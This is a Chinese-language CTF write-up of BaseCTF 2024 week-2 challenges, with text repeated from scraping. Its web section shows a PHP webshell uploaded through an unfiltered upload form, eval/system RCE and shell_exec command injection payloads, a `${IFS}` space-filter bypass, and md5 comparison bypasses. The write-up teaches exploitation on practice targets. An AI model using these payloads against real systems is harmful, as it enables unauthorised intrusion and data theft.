扫出来结果是https://www.bilibili.com@qr.xinshi.fun/BV11k4y1X7Rj/mal1ci0us?flag=BaseCTF%7BQR_Code_1s_A_f0rM_Of_m3s5ag3%7D

拿去URL解码一下就有了

哇!珍德食泥鸭(未做出)

谐音梗扣钱!

flag藏哪了?仔细找找吧 可能就在眼前哦

下载下来一张gif图片,丢进010Editor里面发现后冗余数据,并且PK两个字符,让我猜测是zip文件

先用010Editor把这部分数据导出为zip,但是发现打开来目录结构又很像是docx

再把后缀改为docx,可以正常打开

但是文档里没有任何有效的信息,再次以zip格式打开这个文件,发现在word文件的媒体目录下还有一个文件

海上又遇了鲨鱼

怎么又看到网络鲨鱼了?!!

下载下来还是Wireshark包,但是这次是ftp协议

这里用Wireshark会方便一点,我们现在上面的搜索框搜索ftp || ftp-data来过滤我们需要的ftp数据包,然后选择protocol写着FTP-DATA的包,右键它选择追踪

在弹出的窗口中,选择原始数据,然后另存为文件

出来的zip文件有密码,说明我们得回去wireshark里面找

回到wireshark,找一找有没有密码相关的内容,找到ftp用户登录的密码为Ba3eBa3e!@#,拿去解压一下zip,发现是正确的,就得到flag了

黑丝上的flag

关注VY-netcat喵, star关注VY-netcat谢谢喵

嗯,下载下来是个图片,确实是黑丝……

然而调下亮度就出来了,没啥技术含量

另:其实只要你眼里够好,盯帧也能看出来

Aura 酱的旅行日记 <图寻擂台>

Aura 酱来旅游啦, 快来看看他到了什么地方吧

答案请使用如下格式 BaseCTF{XX省XX市XX区XX路XX号}

一血获得者可以抢占擂台, 成为第二次图寻题的出题人, 我们可能会通过邮箱联系你

一血是不可能一血的,怎么抢得过那些手速快的哦~

这题目提供的图片……我怎么这么熟…… 本来以为是省博,但是不对

百度识图一下,发现就可以找到跟题目给的图很像的布局的博物馆

从地图搜索一下,就可以得知它的地址是成都市成华区成华大道十里店路88号,成都位于四川,所以最终结果为BaseCTF{四川省成都市成华区成华大道十里店路88号}

前辈什么的最喜欢了

下载下来是个base64编码后的图片文本

丢去转为图片,发现打不开,用010Editor打开查找BaseCTF可以找到flag内容

Web

HTTP 是什么呀

成为嘿客的第一步!当然是 HTTP 啦!
可以多使用搜索引擎搜索每个参数的含义以及传参方式

💡 看看你是怎么到达最后一个页面的,中途是不是经过了什么?

打开网页后有如下要求

  • GET参数basectf=we1c%00me
  • POST参数Base=fl@g
  • Cookie传入c00k13=i can't eat it
  • User-Agent传入Base
  • Referer传入Base
  • IPX-Forwarded-For传入127.0.0.1

一切用Hackbar就可以搞定,但是GET的那个百分号要转义一下

来到这个页面没有flag,但是提示已经告诉我们了中间有一个页面,我们看到Network选项卡可以看到有个重定向里面有flag

把他提供的内容拿去base64解码一下就有了

喵喵喵´•ﻌ•`

小明在学习PHP的过程中发现,原来php也可以执行系统的命令,于是开始疯狂学习…..

进来以后是PHP源码

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
error_reporting(0);

$a = $_GET['DT'];

eval($a);

?>

很明显了就是RCE,我们尝试传入phpinfo();验证了我们的猜想

但是我传入了exec("ls")shell_exec("ls")都没反应,可能是服务器把这两个函数禁用了 这两个函数是没有输出的,要加print,但是我发现了用system("ls")可以,我就用来找flag的位置了

找到了,cat出来就有了

md5绕过欸

绕哇绕哇绕

打开了还是PHP源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';

if (isset($_GET['name']) && isset($_POST['password']) && isset($_GET['name2']) && isset($_POST['password2']) ){
$name = $_GET['name'];
$name2 = $_GET['name2'];
$password = $_POST['password'];
$password2 = $_POST['password2'];
if ($name != $password && md5($name) == md5($password)){
if ($name2 !== $password2 && md5($name2) === md5($password2)){
echo $flag;
}
else{
echo "再看看啊,马上绕过嘞!";
}
}
else {
echo "错啦错啦";
}

}
else {
echo '没看到参数呐';
}
?>

这里要求我们GET参数namename2,POST内容passwordpassword2

namepassword不相等并且name的md5值与password的md5值相等

这里出现了四种PHP运算符:

  • != 不等运算符,会进行类型转换,然后比较两个变量的值是否不等
  • == 相等运算符,会进行类型转换,然后比较两个变量的值是否相等
  • !== 不全等运算符,不会进行类型转换,当类型不一致或者类型一致但是值不一致的时候返回True
  • === 全等运算符,不会进行类型转换,当类型一致且值一致的时候返回True

不等/相等绕过

这题第一个条件$name != $password && md5($name) == md5($password),前半很好满足,后半看似要找两个md5值相同的内容,但其实不是

我们上面说了,==会进行强制类型转换,而如果我们这个时候的md5值的头部是0e会怎么样呢?会显示为科学计数法0exxxxxxx,被PHP认为是数字,而这个数字非常地小,所以转换后结果为0,实现绕过

所以我们可以传入name=QNKCDZOpassword=240610708,这样分别对应了0e8304004519934940580242199033910e462097431906509019562988736854就绕过了第一层

附:抄过来的md5以0e开头的常见字符串

  • QNKCDZO
    0e830400451993494058024219903391
  • 240610708
    0e462097431906509019562988736854
  • s878926199a
    0e545993274517709034328855841020
  • s155964671a
    0e342768416822451524974117254469
  • s214587387a
    0e848240448830537924465865611904
  • s214587387a
    0e848240448830537924465865611904
  • s878926199a
    0e545993274517709034328855841020
  • s1091221200a
    0e940624217856561557816327384675
  • s1885207154a
    0e509367213418206700842008763514
  • s1502113478a
    0e861580163291561247404381396064
  • s1885207154a
    0e509367213418206700842008763514
  • s1836677006a
    0e481036490867661113260034900752
  • s155964671a
    0e342768416822451524974117254469
  • s1184209335a
    0e072485820392773389523109082030
  • s1665632922a
    0e731198061491163073197128363787
  • s1502113478a
    0e861580163291561247404381396064
  • s1836677006a
    0e481036490867661113260034900752
  • s1091221200a
    0e940624217856561557816327384675
  • s155964671a
    0e342768416822451524974117254469
  • s1502113478a
    0e861580163291561247404381396064
  • s155964671a
    0e342768416822451524974117254469
  • s1665632922a
    0e731198061491163073197128363787
  • s155964671a
    0e342768416822451524974117254469
  • s1091221200a
    0e940624217856561557816327384675
  • s1836677006a
    0e481036490867661113260034900752
  • s1885207154a
    0e509367213418206700842008763514
  • s532378020a
    0e220463095855511507588041205815
  • s878926199a
    0e545993274517709034328855841020
  • s1091221200a
    0e940624217856561557816327384675
  • s214587387a
    0e848240448830537924465865611904
  • s1502113478a
    0e861580163291561247404381396064
  • s1091221200a
    0e940624217856561557816327384675
  • s1665632922a
    0e731198061491163073197128363787
  • s1885207154a
    0e509367213418206700842008763514
  • s1836677006a
    0e481036490867661113260034900752
  • s1665632922a
    0e731198061491163073197128363787
  • s878926199a
    0e545993274517709034328855841020

不全等/全等绕过

这个就得真的用两个内容不一样,但是md5值一样的字符串了,我们用一个碰撞器来弄到我们要的东西

Fastcoll: https://github.com/AndSonder/fastcoll/blob/master/README.md

我先写了一个文件叫做HelloWorld.txt,里面的内容就是为空(其实文件里面也可以放东西,但是可能计算时间会久一点),然后用这个软件来帮我碰撞

1
./fastcoll_v1.0.0.5.exe -p HelloWorld.txt -o hw1.txt hw2.txt

因为输出的文件很多不可见字符,我们要对所有的字符进行URL编码后再发送,我用了PHP来做这个事情,因为Python死活读不到文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
function readmyfile($path){
$fh = fopen($path, "rb");
$data = fread($fh, filesize($path));
fclose($fh);
return $data;
}
echo '二进制md5加密 '. md5( (readmyfile("hw1.txt")));
echo "</br>";
echo 'url编码 '. urlencode(readmyfile("hw1.txt"));
echo "</br>";
echo '二进制md5加密 '.md5( (readmyfile("hw2.txt")));
echo "</br>";
echo 'url编码 '. urlencode(readmyfile("hw2.txt"));
echo "</br>";

放到我的PHPStudy环境,访问就可以得到了

1
2
3
4
5
二进制md5加密 f2038bd4ac2833e87fd0ad8b5261c9ff
url编码 %F3L%27sZ%AF%89fS%F7%A7g-%9E2My%9AT%8Bbrs%07%19%CA8%FD%17%1A%BA%FD%BA%AB%03%EE%DCc%E8Zo%BC%F5a%EB%9D%1AO%A2%ECB%E0%83W%84%DB%C3%7C%0BKK8%DA%3D%3F%5C%D2%0A%02%5E%AE%0B%BF%C8%9AE%26%89%2FW%AFuY%60t%9B%01%E2%AD%C3%10P%9B_H%A8%CF%7D%18%24%9F%06%93%3C5%3F%C4%3Ah+%EE%D4%86%B6%F4%5E%40%19%C4%80%91%82%FB%A2%D9h%C7%40

二进制md5加密 f2038bd4ac2833e87fd0ad8b5261c9ff
url编码 %F3L%27sZ%AF%89fS%F7%A7g-%9E2My%9AT%0Bbrs%07%19%CA8%FD%17%1A%BA%FD%BA%AB%03%EE%DCc%E8Zo%BC%F5a%EB%1D%1BO%A2%ECB%E0%83W%84%DB%C3%7C%0B%CBK8%DA%3D%3F%5C%D2%0A%02%5E%AE%0B%BF%C8%9AE%26%89%2FW%AFuY%E0t%9B%01%E2%AD%C3%10P%9B_H%A8%CF%7D%18%24%9F%06%93%3C5%3F%C4%3Ah%A0%ED%D4%86%B6%F4%5E%40%19%C4%80%91%82%FB%22%D9h%C7%40

然后把两个url编码放到hackbar里,进行POST请求,本来就可以得到flag了,结果!!!

不对啊!!!思路是正确的为啥出不来,没办法自己搞不定就去问人了

然后我打开了我的Burpsuite,再发送一下我的请求,然后就可以了

这波Hackbar背大锅

补充:md5全等绕过的第二种做法

传入name2[]=1password2[]=3(数字随意)也可以绕过,因为md5传入数组的时候,返回结果都是null

A Dark Room

文字游戏 玩得开心!

打开来是个网页,我一开始以为真的要从文字游戏里面找线索,结果一按F12

好吧,这就得到flag了

upload

快来上传你最喜欢的照片吧~ 等下,这个 php 后缀的照片是什么?

这里提示我们了是文件上传没有进行严格的过滤而导致的漏洞,我们直接生成一个webshell,我这里用的是哥斯拉

生成了一个webshell.php文件,内容如下

1
2
<?php
eval($_POST["pass"]);

上传后可以看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
error_reporting(0);
if (isset($_FILES['file'])) {
highlight_file(__FILE__);
$file = $_FILES['file'];
$filename = $file['name'];
$filetype = $file['type'];
$filesize = $file['size'];
$filetmp = $file['tmp_name'];
$fileerror = $file['error'];

if ($fileerror === 0) {
$destination = 'uploads/' . $filename;
move_uploaded_file($filetmp, $destination);
echo 'File uploaded successfully';
} else {
echo 'Error uploading file';
}
}
?>
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>上传你喜欢的图片吧!</title>
</head>

<body>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<button type="submit">上传!</button>
</form>
<?php
$files = scandir('uploads');
foreach ($files as $file) {
if ($file === '.' || $file === '..') {
continue;
}
echo "<img src='uploads/$file' style=\"max-height: 200px;\" />";
}
?>
</body>

</html>

发现上传后的文件在uploads文件夹里,且没有被改名字,直接打开蚁剑进行连接

可以在根目录下找到flag文件,打开就能看到flag了

一起吃豆豆

进来是个吃豆人游戏,但是看了一下js,发现有11关,那当然不可能让你把十一关都打完啦

第一种做法:修改通关条件

在js中,我找到了判断通关的条件,我把其中的小于号改为大于号,即场内有豆子即判定为通关

然后就达到了跳关的目的,拿到了Flag

第二种做法:直接找到通关信息

搜索“结束”这个关键词,可以看到结束页面的信息

把结束页面经过Base64编码的消息拿去解码就可以得到flag了

你听不到我的声音

我要执行 shell 指令啦! 诶? 他的输出是什么? 为什么不给我?

进来是PHP源码

1
2
3
<?php
highlight_file(__FILE__);
shell_exec($_POST['cmd']);

因为shell_exec是没有回显的,所以我们在这里运行shell命令就跟题目描述一样不给输出,我们可以用输出到文件的方式来得到我们的输出

我们先传入cmd=find / -iname "flag" > output.txt,通过>来把输出写到output.txt里面去,我们再去访问output.txt

于是我们知道了flag在/flag文件内,再给它读出来,就成功拿到flag了

数学大师

Kengwang 的数学特别差, 他的计算器坏掉了, 你能快速帮他完成数学计算题吗?

每一道题目需要在 5 秒内解出, 传入到 $_POST['answer'] 中, 解出 50 道即可, 除法取整

说白了就是写脚本,写个脚本算出来然后提交就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import httpx

client = httpx.Client()
url = "http://challenge.basectf.fun:30394/"

response = client.get(url)
print(response.text)
formula = response.text.split(" ")[-1].replace("?", "").replace("×", "*").replace("÷", "//")

while True:
response = client.post(
url,
data={
"answer": eval(formula)
}
)
formula = response.text.split(" ")[-1].replace("?", "").replace("×", "*").replace("÷", "//")
if "{" in response.text and "}" in response.text:
print(response.text)
break
else:
print(response.text)

RCEisamazingwithspace

RCEisreallingamazingwithoutaspacesoyoushouldfindoutawaytoreplacespace

说人话就是禁用了空格,从代码也能看出来

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
// check if space is present in the command
// use of preg_match to check if space is present in the command
if (preg_match('/\s/', $cmd)) {
echo 'Space not allowed in command';
exit;
}

// execute the command
system($cmd);

这里就要涉及到RCE的空格过滤绕过了,我们用到${IFS}来充当空格,因为这个变量在Linux系统里面默认指向空格(可参考下图GPT的解释)

所以就可以构建出下面这样的payload来搜索flag的位置

然后把它cat出来就可以了,cat这里我用的是第二种表示方法,即$IFS$9

Crypto

helloCrypto

第一步,装好python;第二步,学会装库。

附件是Python代码,直接反着来就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# 已知的 key 和 ciphertext
key1 = 208797759953288399620324890930572736628
ciphertext = b'U\xcd\xf3\xb1 r\xa1\x8e\x88\x92Sf\x8a`Sk],\xa3(i\xcd\x11\xd0D\x1edd\x16[&\x92@^\xfc\xa9(\xee\xfd\xfb\x07\x7f:\x9b\x88\xfe{\xae'

# 将 key1 转换为字节
key = long_to_bytes(key1)

# 创建 AES 解密器
my_aes = AES.new(key=key, mode=AES.MODE_ECB)

# 解密并取消填充
plaintext = unpad(my_aes.decrypt(ciphertext), AES.block_size)

# 输出解密后的明文
print(plaintext.decode())

ez_rsa

下载下来还是Python代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from Crypto.Util.number import *
import gmpy2
m=bytes_to_long(b'BaseCTF{th1s_is_fake_fl4g}')
e=65537
p=getPrime(512)
q=getPrime(512)
n=p*q
not_phi=(p+2)*(q+2)
c=pow(m,e,n)

print(n)
print(not_phi)
print(c)


'''
96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790344897976690691139671461342896437428086142262969360560293350630096355947291129943172939923835317907954465556018515239228081131167407674558849860647237317421
96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790384900615665394180812810697286554008262030049280213663390855887077502992804805794388166197820395507600028816810471093163466639673142482751115353389655533205
37077223015399348092851894372646658604740267343644217689655405286963638119001805842457783136228509659145024536105346167019011411567936952592106648947994192469223516127472421779354488529147931251709280386948262922098480060585438392212246591935850115718989480740299246709231437138646467532794139869741318202945
'''

题目里特意告诉你那个是not_phi,然而我们可以算出phi_n

所以我们可以得到

然后写成代码就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from Crypto.Util.number import long_to_bytes
from sympy import mod_inverse

e = 65537
n = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790344897976690691139671461342896437428086142262969360560293350630096355947291129943172939923835317907954465556018515239228081131167407674558849860647237317421
not_phi = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790384900615665394180812810697286554008262030049280213663390855887077502992804805794388166197820395507600028816810471093163466639673142482751115353389655533205
c = 37077223015399348092851894372646658604740267343644217689655405286963638119001805842457783136228509659145024536105346167019011411567936952592106648947994192469223516127472421779354488529147931251709280386948262922098480060585438392212246591935850115718989480740299246709231437138646467532794139869741318202945

# 计算 φ(n)
phi_n = (3 * n - not_phi + 6) // 2
print("φ(n):", phi_n)

# 计算私钥 d
d = mod_inverse(e, phi_n)

if d:
# 解密消息
m = pow(c, d, n)

# 将解密后的长整型数转换为字节
flag_bytes = long_to_bytes(m)
print("解密后的消息:", flag_bytes.decode())
else:
print("无法计算私钥 d。")

PPC (Practical Programming and Coding)

BaseCTF 崩啦 - 导言

本题为系列题目, 请按照题目名称中顺序进行解答获得最佳体验


悲报~ BaseCTF 崩溃啦!

7w 条提交记录, 服务器顶不住计算排行榜的压力, 崩溃啦!

Kengwang 拼尽全力抢救下来了数据和日志, 他悬赏了几个 Flag, 找到人能够对这些数据进行处理.

此题目为导言题, 请下载附件, 阅读其中的 readme.txt, 系列题目的附件不变动

数据处理

刚好导言没有什么要求,我们先过一遍数据,因为如果从json中去搜索数据的话太慢了,所以我这里用了sqlite来搜索数据,也同时利用SQL的高效性

我写了一个Python脚本来帮我进行数据的处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
import sqlite3
import json
import re
from tqdm import tqdm
from datetime import datetime, timezone, timedelta

# Create database file
with open("data.db", "w", encoding="utf8") as f:
pass


def time2ts(TIME_STRING: str) -> int:
"""
This is a function that can convert the time expression to timestamp

Parameter:
TIME_STRING(str): The time string

Returns:
int: The timestamp of the time string
"""
time_str = TIME_STRING
# Transfer timestring to datetime format time
dt = datetime.fromisoformat(time_str)
# Change time to UTC
timestamp = dt.timestamp()
return timestamp


def time2tsFromSubmission(TIME_STRING: str) -> int:
# Transfet to datetime object
dt_naive = datetime.strptime(TIME_STRING, "%Y/%m/%d %H:%M:%S")

# Process timezone information
timezone_offset = timedelta(hours=8) # +08:00 UTC+8
dt_with_timezone = dt_naive.replace(tzinfo=timezone(timezone_offset))

# Change to timestamp
timestamp = dt_with_timezone.timestamp()
return timestamp


# Create database connection
conn = sqlite3.connect("data.db")


def importChallenges(challengeFilePath: str) -> None:
# Create challenges table
# id(PRIMARY), name, point, endat
command = "CREATE TABLE challenges (id TEXT PRIMARY KEY, name TEXT, point INTEGER, endat TEXT);"
cursor = conn.cursor()
cursor.execute(command)
conn.commit()

# Read challenges from file
with open(challengeFilePath, "r", encoding="utf8") as f:
challenges = json.loads(f.read())

# Insert challenges one by one
for challenge in tqdm(challenges):
challengeId = challenge["Id"]
challengeName = challenge["Name"]
challengePoints = challenge["Points"]
challengeEndAt = time2ts(challenge["EndAt"])
command = "INSERT INTO challenges (id, name, point, endat) VALUES (?, ?, ?, ?)"
cursor.execute(
command, (challengeId, challengeName, challengePoints, challengeEndAt)
)
conn.commit()


def importFlags(flagFilePath: str) -> None:
# Create flags table
# flag(PRIMARY), teamId, challengeId
command = (
"CREATE TABLE flags (flag TEXT PRIMARY KEY, teamId TEXT, challengeId TEXT)"
)
cursor = conn.cursor()
cursor.execute(command)
conn.commit()

# Read flags from file
with open(flagFilePath, "r", encoding="utf8") as f:
flags = json.loads(f.read())

# Insert flags on by one
for flag in tqdm(flags):
flagContent = flag["Flag"]
flagTeam = flag["TeamId"]
flagChallenge = flag["ChallengeId"]
command = "INSERT INTO flags (flag, teamId, challengeId) VALUES (?, ?, ?)"
cursor.execute(command, (flagContent, flagTeam, flagChallenge))
conn.commit()


def importSubmissions(submissionFilePath: str) -> None:
# Create submission table
# team, challenge, flag, who, ip, time
command = "CREATE TABLE submissions (team TEXT, challenge TEXT, flag TEXT, who TEXT, ip TEXT, time INGETER)"
cursor = conn.cursor()
cursor.execute(command)
conn.commit()

# Read submission from file
with open("submissions.log", "r", encoding="utf8") as f:
lines = f.readlines()

# Extract data from line and insert into database
# [2024/8/31 15:12:50 +08:00 INF] FlagChecker: 队伍 [Aida Bartoletti] 提交题目 [[Week2] ez_crypto] 的答案 [BaseCTF{400e0fde-cc12-3cf8-fbfd-32ae7bfd60e6}] <Merl.Smitham39> @ 108.237.78.233
for line in tqdm(lines):
# Extract time
time = re.search(
r"\[\d{4}/\d{1,2}/\d{1,2} \d{1,2}:\d{1,2}:\d{1,2} \+\d{2}:\d{2} INF\]", line
)
time = time.group().strip("[]") if time else ""
time = time2tsFromSubmission(time.replace(" +08:00 INF", ""))
# Extract team name
team = re.search(r"队伍 \[(.+?)\]", line)
team = team.group(1) if team else ""
# Extract challenge name
challenge = re.search(r"题目 \[\[Week\d\](.+?)\]", line)
week = re.findall(r"\[Week\d\]", line)[0]
challenge = week + " " + challenge.group(1).strip() if challenge else ""
# Extract flag
flag = re.search(r"BaseCTF\{[^\}]+\}", line)
flag = flag.group() if flag else ""
# Extract who submit the flag
who = re.search(r"<([^<>]+)> @ \d+\.\d+\.\d+\.\d+$", line)
who = who.group(1) if who else ""
# Extract the ip address
ip = re.search(r" @ (\d+\.\d+\.\d+\.\d+)", line)
ip = ip.group(1) if ip else ""
command = "INSERT INTO submissions (team, challenge, flag, who, ip, time) VALUES (?, ?, ?, ?, ?, ?)"
cursor.execute(command, (team, challenge, flag, who, ip, time))
conn.commit()


def importTeamsAndUsers(teamsFilePath: str) -> None:
# Create teams table
# id(PRIMARY), name, member1, member2
command = "CREATE TABLE teams (id TEXT PRIMARY KEY, name TEXT, member1 TEXT, member2 TEXT)"
cursor = conn.cursor()
cursor.execute(command)
command = "CREATE TABLE users (id TEXT PRIMARY KEY, name TEXT)"
cursor.execute(command)
conn.commit()

# Read teams from file
with open(teamsFilePath, "r", encoding="utf8") as f:
teams = json.loads(f.read())

# Insert team data into database
for team in tqdm(teams):
teamId = team["Id"]
teamName = team["Name"]
member1 = team["Members"][0]["Id"]
member2 = None
command = "INSERT INTO users (id, name) VALUES (?, ?)"
cursor.execute(
command, (team["Members"][0]["Id"], team["Members"][0]["UserName"])
)
if len(team["Members"]) == 2:
member2 = team["Members"][1]["Id"]
cursor.execute(
command, (team["Members"][1]["Id"], team["Members"][1]["UserName"])
)
command = "INSERT INTO teams (id, name, member1, member2) VALUES (?, ?, ?, ?)"
cursor.execute(command, (teamId, teamName, member1, member2))
conn.commit()


if __name__ == "__main__":
importChallenges("challenges.json")
importFlags("flags.json")
importSubmissions("submission.log")
importTeamsAndUsers("teams.json")

经过了大约40分钟,数据就成功导入到sqlite数据库了

BaseCTF 崩啦 II - 过期了?

Damien Schroeder 队的队长反映为什么他提交正确后却没有总分增加? 一定是过了截止时间了! 看看他有哪些题目是在截止时间后提交的吧.

请获取到他们所有在截止时间后提交的题目的 Id, 按照提交顺序进行排序, 将这些 ID 用西文逗号进行拼接, 计算其 MD5 得到值

Flag 格式: BaseCTF{计算得到的 MD5}

用Python写一个脚本即可,但是要注意按照提交时间排序

因为所有的题目的截止时间是一样的,所以直接按照一个题目的时间算就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import sqlite3
import hashlib

# Create sqlite3 connection
conn = sqlite3.connect("data.db")


def getChallengeExpireTimeFromName(challenge: str) -> int:
# Function for getting expire time of the challenge
cursor = conn.cursor()
command = "SELECT endat FROM challenges WHERE name=?"
cursor.execute(command, (challenge,))
time = int(cursor.fetchone()[0].replace(".0", ""))
return time


def getTeamSubmissionsFromTeamName(team_name: str) -> list:
# Function for getting submission of the team
cursor = conn.cursor()
command = "SELECT time, challenge FROM submissions WHERE team=?"
cursor.execute(command, (team_name,))
submission_list = cursor.fetchall()
return submission_list


def getChallengeIdFromName(challenge_name: str) -> str:
# Function for getting challengeId from name
cursor = conn.cursor()
command = "SELECT id FROM challenges WHERE name=?"
cursor.execute(command, (challenge_name,))
challenge_id = cursor.fetchone()[0]
return challenge_id


if __name__ == "__main__":
# All the expire time are the same, so use one as all
expire_time = getChallengeExpireTimeFromName("[Week3] ez_log")
submission_list = getTeamSubmissionsFromTeamName("Damien Schroeder")
# Get all expired challenges
expired_challenge_list = []
submission_list.sort(key=lambda x: x[0]) # Sort by submit time
for submission in submission_list:
if submission[0] > expire_time:
print(submission[0], expire_time, submission[1])
expired_challenge_list.append(submission[1])
# Get all ids of expired challenges
expired_challenge_id_list = []
for challenge in expired_challenge_list:
expired_challenge_id_list.append(getChallengeIdFromName(challenge))
# Connect all the challenge ids with comma
expired_challenge_id_string = ""
for challenge_id in expired_challenge_id_list:
if expired_challenge_id_string == "":
expired_challenge_id_string += challenge_id
else:
expired_challenge_id_string += "," + challenge_id
# Calculate MD5
result = hashlib.md5(expired_challenge_id_string.encode()).hexdigest()
print(f"BaseCTF\{{result}\}")

BaseCTF 崩啦 III - 帮我查查队伍的解题

该系列后面的题目我放下面,因为没什么时间做了,就没有题解了

Jailyn32: 你好, 我是 Rick Hyatt 队伍的队长, 你能帮我看看我们队伍现在还有哪些题目没有解出吗?

急急急急急急! 他们队伍有哪些题目没有解出呢?

请获取到他们所有没有做对和解出的题目的 Id, 按照题目 json 原本的顺序进行排序, 将这些 ID 用西文逗号进行拼接, 计算其 MD5 得到值

Flag 格式: BaseCTF{计算得到的 MD5}

BaseCTF 崩啦 IV - 排排坐吃果果

越来越多的人来查询了,我们还是放一个排行榜出来吧

你需要对所有有效队伍的提交分数加和,按照分数从大到小排序(同分按照队伍名称字母顺序(ASCII从小到大)排序)。规定前三血 不 额外加分。可能存在得零分的队伍,这些队伍 也要 出现在结果中。

排序完成后按照 队伍名,分数;队伍名,分数;队伍名,分数;...... 拼接,最后一个队伍分数后面不加分号,计算拼接好后的 md5 (小写)。

Flag 为: BaseCTF{小写的md5结果}

BaseCTF 崩啦 V - 正义执行!

什么, 有队伍竟然在明目张胆的作弊 (提交其他队伍 Flag), 看我正义执行, 两个队伍都 ban 掉!

请找出所有未参与作弊的队伍, 将他们的队伍名字按照字典序排列, 使用西文逗号分割, 计算其 MD5 (全小写)

Flag 格式: BaseCTF{MD5 值}

BaseCTF 崩啦 VI - 流量检测?

什么, 你居然在不同的 IP 提交了 Flag? 难道你会瞬移?

请给出所有提交的 IP 变更的队伍, 队伍名称按照字典顺序排序, 用西文逗号拼接, 计算其 MD5

Flag 格式: BaseCTF{计算出来的 MD5}

🔲 ⭐

BaseCTF2024 第二周个人Writeup

MISC

二维码1-街头小广告

Naril 在街头见到地上有一张印有二维码的小广告,好像还被人踩了一脚

下载下来是个图片

很明显这里把二维码的定位框给遮住了,我们手动给它弄一个上去

扫出来结果是https://www.bilibili.com@qr.xinshi.fun/BV11k4y1X7Rj/mal1ci0us?flag=BaseCTF%7BQR_Code_1s_A_f0rM_Of_m3s5ag3%7D

拿去URL解码一下就有了

哇!珍德食泥鸭(未做出)

谐音梗扣钱!

flag藏哪了?仔细找找吧 可能就在眼前哦

下载下来一张gif图片,丢进010Editor里面发现后冗余数据,并且PK两个字符,让我猜测是zip文件

先用010Editor把这部分数据导出为zip,但是发现打开来目录结构又很像是docx

再把后缀改为docx,可以正常打开

但是文档里没有任何有效的信息,再次以zip格式打开这个文件,发现在word文件的媒体目录下还有一个文件

海上又遇了鲨鱼

怎么又看到网络鲨鱼了?!!

下载下来还是Wireshark包,但是这次是ftp协议

这里用Wireshark会方便一点,我们现在上面的搜索框搜索ftp || ftp-data来过滤我们需要的ftp数据包,然后选择protocol写着FTP-DATA的包,右键它选择追踪

在弹出的窗口中,选择原始数据,然后另存为文件

出来的zip文件有密码,说明我们得回去wireshark里面找

回到wireshark,找一找有没有密码相关的内容,找到ftp用户登录的密码为Ba3eBa3e!@#,拿去解压一下zip,发现是正确的,就得到flag了

黑丝上的flag

关注VY-netcat喵, star关注VY-netcat谢谢喵

嗯,下载下来是个图片,确实是黑丝……

然而调下亮度就出来了,没啥技术含量

另:其实只要你眼里够好,盯帧也能看出来

Aura 酱的旅行日记 <图寻擂台>

Aura 酱来旅游啦, 快来看看他到了什么地方吧

答案请使用如下格式 BaseCTF{XX省XX市XX区XX路XX号}

一血获得者可以抢占擂台, 成为第二次图寻题的出题人, 我们可能会通过邮箱联系你

一血是不可能一血的,怎么抢得过那些手速快的哦~

这题目提供的图片……我怎么这么熟…… 本来以为是省博,但是不对

百度识图一下,发现就可以找到跟题目给的图很像的布局的博物馆

从地图搜索一下,就可以得知它的地址是成都市成华区成华大道十里店路88号,成都位于四川,所以最终结果为BaseCTF{四川省成都市成华区成华大道十里店路88号}

前辈什么的最喜欢了

下载下来是个base64编码后的图片文本

丢去转为图片,发现打不开,用010Editor打开查找BaseCTF可以找到flag内容

Web

一起吃豆豆

进来是个吃豆人游戏,但是看了一下js,发现有11关,那当然不可能让你把十一关都打完啦

第一种做法:修改通关条件

在js中,我找到了判断通关的条件,我把其中的小于号改为大于号,即场内有豆子即判定为通关

然后就达到了跳关的目的,拿到了Flag

第二种做法:直接找到通关信息

搜索“结束”这个关键词,可以看到结束页面的信息

把结束页面经过Base64编码的消息拿去解码就可以得到flag了

你听不到我的声音

我要执行 shell 指令啦! 诶? 他的输出是什么? 为什么不给我?

进来是PHP源码

1
2
3
<?php
highlight_file(__FILE__);
shell_exec($_POST['cmd']);

因为shell_exec是没有回显的,所以我们在这里运行shell命令就跟题目描述一样不给输出,我们可以用输出到文件的方式来得到我们的输出

